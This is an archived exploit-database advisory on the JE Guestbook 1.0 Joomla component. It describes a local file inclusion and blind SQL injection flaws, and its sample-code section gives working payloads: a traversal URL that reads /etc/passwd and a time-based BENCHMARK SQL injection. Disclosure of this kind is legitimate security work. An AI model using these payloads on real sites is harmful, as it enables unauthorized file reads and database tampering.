[webapps / 0day] - JE Guestbook 1.0 Joomla Component Multipl
Posted on 30 September 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>JE Guestbook 1.0 Joomla Component Multiple Remote Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 30 Sep 2010 | Exploit category: webapps / 0day | Exploit author: Salvatore Fresta | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>================================================================= JE Guestbook 1.0 Joomla Component Multiple Remote Vulnerabilities ================================================================= Name JE Guestbook Vendor http://www.joomlaextensions.co.in Versions Affected 1.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-09-30 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX I. ABOUT THE APPLICATION ________________________ JE Guest Component is an open source Joomla guestbook component with spam protection and many customization options. II. DESCRIPTION _______________ Some parameters are not properly sanitised. III. ANALYSIS _____________ Summary: A) Local File Inclusion B) Multiple Blind SQL Injection A) Local File Inclusion _______________________ Input passed to the "view" parameter in jeguestbook.php (when option is set to com_jeguestbook) is not properly verified before being used to include files. This can be exploited to include arbitrary files from local resources via directory traversal attacks and URL-encoded NULL bytes. B) Multiple Blind SQL Injection _______________________________ Many parameters are not properly sanitised before being used in SQL queries.This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. IV. SAMPLE CODE _______________ A) Local File Inclusion http://site/path/index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00 B) Multiple Blind SQL Injection http://site/path/index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL))) V. FIX ______ No fix. # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-30]</pre></body></html>
